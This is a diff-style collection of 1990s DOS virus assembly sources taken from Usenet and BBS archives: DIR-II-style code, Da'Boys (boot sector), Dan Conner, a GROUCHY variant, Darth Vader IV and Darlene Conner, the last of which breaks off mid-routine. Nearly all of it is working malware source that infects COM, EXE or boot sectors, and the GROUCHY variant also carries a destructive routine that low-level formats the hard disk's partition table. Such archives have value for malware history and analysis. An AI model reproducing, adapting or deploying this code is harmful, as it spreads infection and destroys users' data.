mov [si+14h],ax ; And put it in area reserved
; by DOS for no purpose
loop go_on ; Try another file
rest: xor ax,ax ; Disinfect the file
xchg ax,[si+14h] ; Get starting cluster
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; Change encryption and
add si,32 ; go to next file
cmp di,si ; If it is not past the end of
jne find ; the buffer, then try again
ret ; Otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, XX can change.
; Compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; Save this call's drive
jne changed ; If not the same as last call
; media has changed
push [bx+0eh] ; If it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; Tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; Restore command code
changed: ret ; CF,ZF set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
mov si,70h
mov ds,si ; DS = our segment
modify: mov si,1234h ; Address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; Call original device handler
pop [si+2]
pop [si]
ret
driver: mov word ptr es:[bx+12h],1 ; One sector
in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; CALL FAR PTR
str_block:
dw ?,70h ; address
db 09ah ; CALL FAR PTR
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; Was there an error?
ret
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
jae fat_16 ; 0FF0h = reserved cluster
mov si,3 ; 12 bit FAT
xor word ptr cs:[si+gad-1],si ; Change the encryption value
mul si ; Multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; Mark it EOF (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it EOF (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit FAT
mul si ; Double cluster #
mov di,0ffffh ; Mark it as end of file
cont: mov si,512
div si ; AX = sector number
; (relative to start of FAT)
; DX = offset in sector AX
header: inc ax ; Increment AX to account for
ret ; boot record
counter: dw 0
dw 842h ; Attribute
; Block device
; DOS 3 OPEN/CLOSE removable
; media calls supported
; Generic IOCTL call supported
; Supports 32 bit sectors
dw offset main ; Strategy routine
dw offset rts ; Interrupt routine (rtf)
db 7fh ; Number of subunits supported
; by this driver. Wow, lookit
; it -- it's so large and juicy
; Parameter block format:
; 0 WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
dir_2 ends
end start
@@ -0,0 +1,302 @@
From smtp Fri Mar 24 16:17 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
Date: Fri, 24 Mar 1995 16:21:26 -0500
From: Eric Kilby <ekilby@lynx.dac.neu.edu>
Content-Length: 6924
Content-Type: text
Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
To: joshuaw@pobox.jwu.edu
Subject: (fwd) Re: Da'boys viurs, new?
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
From: yojimbo@crl.com (Douglas Mauldin)
Newsgroups: alt.comp.virus
Subject: Re: Da'boys viurs, new?
Date: 23 Mar 1995 23:25:53 -0800
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
Lines: 276
Message-ID: <3kts61$1a3@crl9.crl.com>
References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
NNTP-Posting-Host: crl9.crl.com
X-Newsreader: TIN [version 1.2 PL2]
;: does anyone know what this virus does? how dangerous is it
;: and how do i remove it from my boot sector if the disk is not
;: a bootable one?
;From THe QUaRaNTiNE archives: Da'Boys Source-
;Enjoy...
cseg segment para public 'code'
da_boys proc near
assume cs:cseg
;-----------------------------------------------------------------------------
.186
TRUE equ 001h
FALSE equ 000h
;-----------------------------------------------------------------------------
;option bytes used
COM4_OFF equ TRUE ; 3 bytes
DA_BOYS_TEXT equ TRUE ; 6 bytes
;-----------------------------------------------------------------------------
ADDR_MUL equ 004h
BIOS_INT_13 equ 0c6h
BOOT_INT equ 019h
BOOT_OFFSET equ 07c00h
COM4_OFFSET equ 00406h
COM_OFFSET equ 00100h
DISK_INT equ 013h
DOS_GET_INT equ 03500h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
FIRST_SECTOR equ 00001h
INITIAL_BX equ 00078h
LOW_CODE equ 0021dh
NEW_INT_13_LOOP equ 0cdh
READ_A_SECTOR equ 00201h
RETURN_NEAR equ 0c3h
SECTOR_SIZE equ 00200h
TERMINATE_W_ERR equ 04c00h
TWO_BYTES equ 002h
VIRGIN_INT_13_B equ 007b4h
WRITE_A_SECTOR equ 00301h
;-----------------------------------------------------------------------------
io_seg segment at 00070h
org 00000h
io_sys_loads_at label word
io_seg ends
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h
org 09315h
original_int_13 label word
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET
com_code:
;-----------------------------------------------------------------------------
dropper proc near
xor ax,ax
mov ds,ax
lds dx,dword ptr ds:[VIRGIN_INT_13_B]
mov ax,DOS_SET_INT+BIOS_INT_13
int DOS_INT
mov dx,offset interrupt_13+LOW_CODE-offset old_jz
xor ax,ax
mov ds,ax
mov ax,DOS_SET_INT+DISK_INT
int DOS_INT
mov di,LOW_CODE
mov si,offset old_jz
push ds
pop es
call move_to_boot
mov ax,READ_A_SECTOR
mov cx,FIRST_SECTOR
mov dx,00180h
mov bx,offset buffer
push cs
pop es
int DISK_INT
already_set: mov ax,TERMINATE_W_ERR
int DOS_INT
dropper endp
;-----------------------------------------------------------------------------
org 00048h+COM_OFFSET
call initialize
;-----------------------------------------------------------------------------
org 000ebh+COM_OFFSET
old_jz: jz old_code
;-----------------------------------------------------------------------------
org 00edh+COM_OFFSET
;-----------------------------------------------------------------------------
error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET
xor ax,ax
move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1
pushf
cld
rep movs byte ptr es:[di],cs:[si]
popf
ret
;-----------------------------------------------------------------------------
old_code: mov ax,word ptr ds:[bx+01ah]
dec ax
dec ax
mov di,BOOT_OFFSET+049h
mov bl,byte ptr ds:[di-03ch]
xor bh,bh
mul bx
add ax,word ptr ds:[di]
adc dx,word ptr ds:[di+002h]
mov bx,00700h
mov cl,003h
old_loop: pusha
call more_old_code
popa
jc error
add ax,0001h
adc dx,00h
add bx,word ptr ds:[di-03eh]
loop old_loop
mov ch,byte ptr ds:[di-034h]
mov dl,byte ptr ds:[di-025h]
mov bx,word ptr ds:[di]
mov ax,word ptr ds:[di+002h]
jmp far ptr io_sys_loads_at
;-----------------------------------------------------------------------------
initialize: mov bx,INITIAL_BX
mov di,LOW_CODE
push ss
pop ds
jmp short set_interrupts
;-----------------------------------------------------------------------------
error_will_jmp: mov bx,BOOT_OFFSET
IF DA_BOYS_TEXT
db 'DA',027h,'BOYS'
ELSE
push bx
ENDIF
mov ax,00100h
mov dx,08000h
load_from_disk: mov cx,ax
mov ax,READ_A_SECTOR
xchg ch,cl
xchg dh,dl
int DISK_INT
ret
;-----------------------------------------------------------------------------
org 00160h+COM_OFFSET
;-----------------------------------------------------------------------------
more_old_code: mov si,BOOT_OFFSET+018h
cmp dx,word ptr ds:[si]
jnb stc_return
div word ptr ds:[si]
inc dl
mov ch,dl
xor dx,dx
IF COM4_OFF
mov word ptr ds:[COM4_OFFSET],dx
ENDIF
div word ptr ds:[si+002h]
mov dh,byte ptr ds:[si+00ch]
shl ah,006h
or ah,ch
jmp short load_from_disk
stc_return: stc
ret
;-----------------------------------------------------------------------------
org 0181h+COM_OFFSET
ret
;-----------------------------------------------------------------------------
restart_it: int BOOT_INT
;-----------------------------------------------------------------------------
set_interrupts: cmp word ptr ds:[di],ax
jne is_resident
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
mov ax,offset interrupt_13+LOW_CODE-offset old_jz
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
is_resident: jmp move_to_low
;-----------------------------------------------------------------------------
interrupt_13 proc far
cmp ah,high(READ_A_SECTOR)
jne jmp_old_int_13
cmp cx,FIRST_SECTOR
jne jmp_old_int_13
cmp dh,cl
ja jmp_old_int_13
pusha
int BIOS_INT_13
jc not_boot_sect
mov ax,0efe8h
xchg word ptr es:[bx+048h],ax
cmp ax,078bbh
jne not_boot_sect
mov di,bx
add di,offset old_jz-COM_OFFSET
cmp bh,high(BOOT_OFFSET)
pushf
jne no_key_press
mov byte ptr es:[di+00ch],RETURN_NEAR
pusha
call near ptr hit_any_key
popa
no_key_press: mov ax,WRITE_A_SECTOR
mov si,LOW_CODE
call move_to_boot
inc cx
int BIOS_INT_13
popf
je restart_it
not_boot_sect: popa
interrupt_13 endp
;-----------------------------------------------------------------------------
org 001e5h+COM_OFFSET
jmp_old_int_13: jmp far ptr original_int_13
;-----------------------------------------------------------------------------
buffer db SECTOR_SIZE dup (0)
;-----------------------------------------------------------------------------
org 07cedh-LOW_CODE+offset old_jz
hit_any_key label word
;-----------------------------------------------------------------------------
da_boys endp
cseg ends
end com_code
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+121
View File
@@ -0,0 +1,121 @@
; Dan Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M dan.asm
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
start:
db 0e9h,0,0 ; Jump to the next command
virus:
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [oldint24],bx ; Save it
mov word ptr [oldint24+2],es
mov ah,25h ; Set new int 24 handler
mov dx,offset int24 ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov dx,offset comfilespec
call findfirst
mov ah,9 ; Display string
mov dx,offset virusname
int 21h
mov ax,2524h ; Restore int 24 handler
mov dx,offset oldint24 ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
int 20h ; quit program
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
quitinfect:
ret
FinishInfection:
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write virus to file
mov cx,eof-virus ; Size of virus
mov dx,100
int 21h
closefile:
mov ax,5701h ; Set files date/time back
push bx
mov cx,word ptr [bx]+16h ; Get old time from dta
mov dx,word ptr [bx]+18h ; Get old date
pop bx
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov bx,80h
mov cl,byte ptr [bx]+15h ; Get old Attributes
call attributes
retn
open:
mov ah,3dh ; open file
mov dx,80h+30
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
mov dx,80h+30
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Dan Conner - Anything You Say Dear...',10,13
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
db 'Hey: I LOVE ROSEANNE!','$'
comfilespec db '*.com',0 ; Holds type of file to look for
eof equ $ ; Marks the end of file
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
@@ -0,0 +1,284 @@
;This program is a virus that infects all files, not just executables. It gets
;the first five bytes of its host and stores them elsewhere in the program and
;puts a jump to it at the start, along with the letters "GR", which are used to
;by the virus to identify an already infected program. The virus also save
;target file attributes and restores them on exit, so that date & time stamps
;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants.
;when it runs out of philes to infect, it will do a low-level format of the HDD
;starting with the partition table.
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
;This is a shell of a program which will release the virus into the system.
;All it does is jump to the virus routine, which does its job and returns to
;it, at which point it terminates to DOS.
HOST:
jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly
db 'GR'
mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
VIRUS: ;this is a label for the first byte of the virus
COMFILE DB '*.*',0 ;search string for any file
DSTRY DB 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2
FATTR DB 0
FTIME DW 0
FDATE DW 0
VIRUS_START:
call GET_START ;get start address - this is a trick to determine the location of the start of this program
GET_START: ;put the address of GET_START on the stack with the call,
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
mov dx,OFFSET DTA ;put DTA at the end of the virus for now
mov ah,1AH ;set new DTA function
int 21H
call FIND_FILE ;get a file to attack
jnz DESTROY ;returned nz - go to destroy routine
call SAV_ATTRIB
call INFECT ;have a good file to use - infect it
call REST_ATTRIB
EXIT_VIRUS:
mov dx,80H ;fix the DTA so that the host program doesn't
mov ah,1AH ;get confused and write over its data with
int 21H ;file i/o or something like that!
mov bx,[VIR_START] ;get the start address of the virus
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes
mov WORD PTR [HOST],ax ;of the COM file to their
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file
mov WORD PTR [HOST+2],ax
mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file
mov BYTE PTR [HOST+4],al
mov [VIR_START],100H ;set up stack to do return to host program
ret ;and return to host
START_CODE: ;move first 5 bytes from host program to here
nop ;nop's for the original assembly code
nop ;will work fine
nop
nop
nop
;--------------------------------------------------------------------------
DESTROY:
mov AH,05H ;format hard disk starting at sector
mov DL,80H ;0 and continuing through sector 16
mov DH,0H ;this should wipe out the master boot
mov CX,0000H ;record & partition table
mov AL,11H ;low-level format information stored
mov BX,OFFSET DSTRY ;at this OFFSET in the syntax 1,2,3,4,
int 13H ;where 1=track number,2=head number,3=sector number
;and 4=bytes/sector with 2=512 bytes/sector
ret
;---------------------------------------------------------------------------
;---------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;Find a file which passes FILE_OK
;
;This routine does a simple directory search to find a COM file in the
;current directory, to find a file for which FILE_OK returns with C reset.
;
FIND_FILE:
mov dx,[VIR_START]
add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it
mov cx,3FH ;search for any file, no matter what the attributes
mov ah,4EH ;do DOS search first function
int 21H
FF_LOOP:
or al,al ;is DOS return OK?
jnz FF_DONE ;no - quit with Z reset
call FILE_OK ;return ok - is this a good file to use?
jz FF_DONE ;yes - valid file found - exit with z set
mov ah,4FH ;not a valid file, so
int 21H ;do find next function
jmp FF_LOOP ;and go test next file for validity
FF_DONE:
ret
;--------------------------------------------------------------------------
;Function to determine whether the file specified in FNAME is useable.
;if so return z, else return nz.
;What makes a phile useable?:
; a) There must be space for the virus without exceeding the
; 64 KByte file size limit.
; b) Bytes 0, 3 and 4 of the file are not a near jump op code,
; and 'G', 'R', respectively
;
FILE_OK:
mov ah,43H ;the beginning of this
mov al,0 ;routine gets the file's
mov dx,OFFSET FNAME ;attribute and changes it
int 21H ;to r/w access so that when
mov [FATTR],cl ;it comes time to open the
mov ah,43H ;file, the virus can easily
mov al,1 ;defeat files with a 'read only'
mov dx,OFFSET FNAME ;attribute. It leaves the file r/w,
mov cl,0 ;because who checks that, anyway?
int 21H
mov dx,OFFSET FNAME
mov al,2
mov ax,3D02H ;r/w access open file, since we'll want to write to it
int 21H
jc FOK_NZEND ;error opening file - quit and say this file can't be used (probably won't happen)
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;next read 5 bytes at the start of the program
mov dx,OFFSET START_IMAGE ;and store them here
mov ah,3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah,3EH
int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host
add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it
jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K
cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code?
jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set
cmp WORD PTR [START_IMAGE+3],5247H ;ok, is 'GR' in positions 3 & 4?
jnz FOK_ZEND ;no, file can be infected, return with Z set
FOK_NZEND:
mov al,1 ;we'd better not infect this file
or al,al ;so return with z reset
ret
FOK_ZEND:
xor al,al ;ok to infect, return with z set
ret
;--------------------------------------------------------------------------
SAV_ATTRIB:
mov ah,43H
mov al,0
mov dx,OFFSET FNAME
int 21H
mov [FATTR],cl
mov ah,43H
mov al,1
mov dx, OFFSET FNAME
mov cl,0
int 21H
mov dx,OFFSET FNAME
mov al,2
mov ah,3DH
int 21H
mov [HANDLE],ax
mov ah,57H
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx
mov [FDATE],dx
mov ax,WORD PTR [DTA+28]
mov WORD PTR [FSIZE+2],ax
mov ax,WORD PTR [DTA+26]
mov WORD PTR [FSIZE],ax
ret
;------------------------------------------------------------------
REST_ATTRIB:
mov dx,[FDATE]
mov cx, [FTIME]
mov ah,57H
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE]
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H
mov al,1
mov dx,OFFSET FNAME
int 21H
mov ah,31H ;terminate/stay resident
mov al,0 ;and set aside 50 16-byte
mov dx,0032H ;pages in memory, just
int 21H ;to complicate things for the user
;they might not notice this too quick!
ret
;---------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored
;in memory.
;
INFECT:
xor cx,cx ;prepare to write virus on new file; positon file pointer
mov dx,cx ;cx:dx pointer = 0
mov bx,WORD PTR [HANDLE]
mov ax,4202H ;locate pointer to end DOS function
int 21H
mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write
mov dx,[VIR_START] ;ds:dx = place in memory to write from
mov bx,WORD PTR [HANDLE] ;bx = file handle
mov ah,40H ;DOS write function
int 21H
xor cx,cx ;now we have to go save the 5 bytes which came from the start of the
mov dx,WORD PTR [FSIZE] ;so position the file pointer
add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;and use DOS to position the file pointer
int 21H
mov cx,5 ;now go write START_CODE in the file
mov bx,WORD PTR [HANDLE] ;get file handle
mov dx,OFFSET START_IMAGE ;during the FILE_OK function above
mov ah,40H
int 21H
xor cx,cx ;now go back to the start of host program
mov dx,cx ;so we can put the jump to the virus in
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;locate file pointer function
int 21H
mov bx,[VIR_START] ;calculate jump location for start of code
mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9
mov ax,WORD PTR [FSIZE] ;and then the relative address
add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area
mov WORD PTR [START_IMAGE+1],ax
mov WORD PTR [START_IMAGE+3],5247H ;and put 'GR' ID code in
mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE
mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE
mov bx,WORD PTR [HANDLE] ;file handle
mov ah,40H ;DOS write function
int 21H
ret ;all done, the virus is transferred
FINAL: ;label for last byte of code to be kept in virus when it moves
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus
;Note: 212 = FFFF - FF2A - 1 = size of data space
; $ gives approximate size of code required for virus
ORG 0FF2AH
DTA DB 1AH dup (?) ;this is a work area for the search function
FSIZE DW 0,0 ;file size storage area
FNAME DB 13 dup (?) ;area for file path
HANDLE DW 0 ;file handle
START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file
VSTACK DW 50H dup (?) ;stack for the virus program
VIR_START DW (?) ;start address of VIRUS (overlays the stack)
MAIN ENDS
END HOST
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,171 @@
; þ RonMail 1.0 þ Programmer's Inn - Home of FeatherNet (619)-446-4506
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:06) Number: 3556
;From: AHMED DOGAN Refer#: NONE
; To: ALL Recvd: NO
;Subj: DARTH VADER Conf: (16) VIRUS
;---------------------------------------------------------------------------
;*********************************************************************
;**********
;*
;*
;* D A R T H V A D E R IV
;*
;*
;*
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia
;*
;* All Rights Reserved
;*
;*
;&
;* Enchanced by: Lazy Wizard
;&
;*
;&
;* Turbo Assembler 2.0
;&
;*
;&
;*********************************************************************
;**********
.model tiny
.code
org 100h
Start:
call NextLine
First3:
int 20h
int 3
NextLine:
pop bx
push ax
xor di,di
mov es,di
mov es,es:[2Bh*4+2]
mov cx,1000h
call SearchZero
jc ReturnControl
xchg ax,si
inc si
SearchTable:
dec si
db 26h
lodsw
cmp ax,8B2Eh
jne SearchTable
db 26h
lodsb
cmp al,75h
je ReturnControl
cmp al,9Fh
jne SearchTable
mov si,es:[si]
mov cx,LastByte-Start
lea ax,[di+Handle-Start]
org $-1
xchg ax,es:[si+80h]
sub ax,di
sub ax,cx
mov [bx+OldWrite-Start-2],ax
mov word ptr [bx+NewStart+1-Start-3],di
lea si,[bx-3]
rep movsb
ReturnControl:
pop ax
push ss
pop es
mov di,100h
lea si,[bx+First3-Start-3]
push di
movsw
movsb
ret
SearchZero:
xor ax,ax
inc di
push cx
push di
mov cx,(LastByte-Start-1)/2+1
repe scasw
pop di
pop cx
je FoundPlace
loop SearchZero
stc
FoundPlace:
ret
Handle:
push bp
call NextHandle
NextHandle:
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:06) Number: 3557
;From: AHMED DOGAN Refer#: NONE
; To: ALL Recvd: NO
;Subj: DARTH VADER <CONT> Conf: (16) VIRUS
;---------------------------------------------------------------------------
pop bp
push es
push ax
push bx
push cx
push si
push di
test ch,ch
je Do
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh
cmp es:[di+29h],'MO'
jne Do
cmp word ptr es:[di+15h],0
jne Do
push ds
pop es
mov di,dx
mov ax,[di]
mov [bp+First3-NextHandle],ax
mov al,[di+2]
mov [bp+First3+2-NextHandle],al
call SearchZero
jc Do
push di
NewStart:
mov si,0
mov cx,(LastByte-Start-1)/2
cli
rep
db 36h
movsw
sti
mov di,dx
mov al,0E9h
stosb
pop ax
sub ax,di
dec ax
dec ax
stosw
Do:
pop di
pop si
pop cx
pop bx
pop ax
pop es
pop bp
OldWrite:
jmp start
LastByte label byte
end Start
@@ -0,0 +1,317 @@
; Darlene Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M darlene.asm
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
